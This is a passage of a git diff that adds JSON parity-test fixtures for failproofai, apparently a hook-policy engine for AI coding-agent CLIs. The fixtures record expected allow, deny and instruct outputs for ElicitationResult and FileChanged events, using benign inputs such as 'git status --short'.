"/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ElicitationResult", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/ElicitationResult/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/devin/ElicitationResult/deny__tool-present__two-policies.json new file mode 100644 index 00000000..ce3aca80 --- /dev/null +++ b/__tests__/parity/fixtures/devin/ElicitationResult/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "devin", + "decision_kind": "deny", + "event": "ElicitationResult", + "input": { + "event_type": "ElicitationResult", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ElicitationResult", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ElicitationResult", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/ElicitationResult/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/devin/ElicitationResult/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..83848848 --- /dev/null +++ b/__tests__/parity/fixtures/devin/ElicitationResult/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "devin", + "decision_kind": "instruct", + "event": "ElicitationResult", + "input": { + "event_type": "ElicitationResult", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ElicitationResult", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ElicitationResult", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"ElicitationResult\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/ElicitationResult/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/devin/ElicitationResult/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..dafc66ba --- /dev/null +++ b/__tests__/parity/fixtures/devin/ElicitationResult/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "devin", + "decision_kind": "instruct", + "event": "ElicitationResult", + "input": { + "event_type": "ElicitationResult", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ElicitationResult", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ElicitationResult", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"ElicitationResult\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/ElicitationResult/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/devin/ElicitationResult/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..d1c653ee --- /dev/null +++ b/__tests__/parity/fixtures/devin/ElicitationResult/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "devin", + "decision_kind": "instruct", + "event": "ElicitationResult", + "input": { + "event_type": "ElicitationResult", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ElicitationResult", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ElicitationResult", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"ElicitationResult\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/ElicitationResult/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/devin/ElicitationResult/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..85ae9d6b --- /dev/null +++ b/__tests__/parity/fixtures/devin/ElicitationResult/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "devin", + "decision_kind": "instruct", + "event": "ElicitationResult", + "input": { + "event_type": "ElicitationResult", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ElicitationResult", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ElicitationResult", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"ElicitationResult\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/FileChanged/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/devin/FileChanged/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..9bd1043a --- /dev/null +++ b/__tests__/parity/fixtures/devin/FileChanged/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "devin", + "decision_kind": "allow-silent", + "event": "FileChanged", + "input": { + "event_type": "FileChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "FileChanged", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "FileChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/FileChanged/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/devin/FileChanged/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..03870577 --- /dev/null +++ b/__tests__/parity/fixtures/devin/FileChanged/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "devin", + "decision_kind": "allow-silent", + "event": "FileChanged", + "input": { + "event_type": "FileChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "FileChanged", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "FileChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/FileChanged/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/devin/FileChanged/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..b17c11ae --- /dev/null +++ b/__tests__/parity/fixtures/devin/FileChanged/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "devin", + "decision_kind": "allow-silent", + "event": "FileChanged", + "input": { + "event_type": "FileChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "FileChanged", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "FileChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/FileChanged/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/devin/FileChanged/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..b7698b0d --- /dev/null +++ b/__tests__/parity/fixtures/devin/FileChanged/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "devin", + "decision_kind": "allow-silent", + "event": "FileChanged", + "input": { + "event_type": "FileChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "FileChanged", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "FileChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/FileChanged/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/devin/FileChanged/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..87c945cf --- /dev/null +++ b/__tests__/parity/fixtures/devin/FileChanged/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "devin", + "decision_kind": "allow-with-reason", + "event": "FileChanged", + "input": { + "event_type": "FileChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "FileChanged", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "FileChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/FileChanged/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/devin/FileChanged/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..2d847b00 --- /dev/null +++ b/__tests__/parity/fixtures/devin/FileChanged/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "devin", + "decision_kind": "allow-with-reason", + "event": "FileChanged", + "input": { + "event_type": "FileChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "FileChanged", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "FileChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/FileChanged/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/devin/FileChanged/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..af180dab --- /dev/null +++ b/__tests__/parity/fixtures/devin/FileChanged/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "devin", + "decision_kind": "allow-with-reason", + "event": "FileChanged", + "input": { + "event_type": "FileChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "FileChanged", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "FileChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/FileChanged/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/devin/FileChanged/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..b40f0b24 --- /dev/null +++ b/__tests__/parity/fixtures/devin/FileChanged/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "devin", + "decision_kind": "allow-with-reason", + "event": "FileChanged", + "input": { + "event_type": "FileChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "FileChanged", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "FileChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/FileChanged/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/devin/FileChanged/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..a3af72fc --- /dev/null +++ b/__tests__/parity/fixtures/devin/FileChanged/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "devin", + "decision_kind": "deny", + "event": "FileChanged", + "input": { + "event_type": "FileChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "FileChanged", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "FileChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/FileChanged/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/devin/FileChanged/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..b8ddc7bc --- /dev/null +++ b/__tests__/parity/fixtures/devin/FileChanged/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "devin", + "decision_kind": "deny", + "event": "FileChanged", + "input": { + "event_type": "FileChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "FileChanged", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "FileChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/FileChanged/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/devin/FileChanged/deny__tool-present__one-policy.json new file mode 100644 index 00000000..d6a08a18 --- /dev/null +++ b/__tests__/parity/fixtures/devin/FileChanged/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "devin", + "decision_kind": "deny", + "event": "FileChanged", + "input": { + "event_type": "FileChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "FileChanged", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "FileChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/FileChanged/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/devin/FileChanged/deny__tool-present__two-policies.json new file mode 100644 index 00000000..7412255b --- /dev/null +++ b/__tests__/parity/fixtures/devin/FileChanged/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "devin", + "decision_kind": "deny", + "event": "FileChanged", + "input": { + "event_type": "FileChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "FileChanged", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "FileChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/FileChanged/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/devin/FileChanged/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..837ac22a --- /dev/null +++ b/__tests__/parity/fixtures/devin/FileChanged/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "devin", + "decision_kind": "instruct", + "event": "FileChanged", + "input": { + "event_type": "FileChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "FileChanged", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "FileChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"FileChanged\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/FileChanged/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/devin/FileChanged/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..2acdca40 --- /dev/null +++ b/__tests__/parity/fixtures/devin/FileChanged/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "devin", + "decision_kind": "instruct", + "event": "FileChanged", + "input": { + "event_type": "FileChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "FileChanged", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": 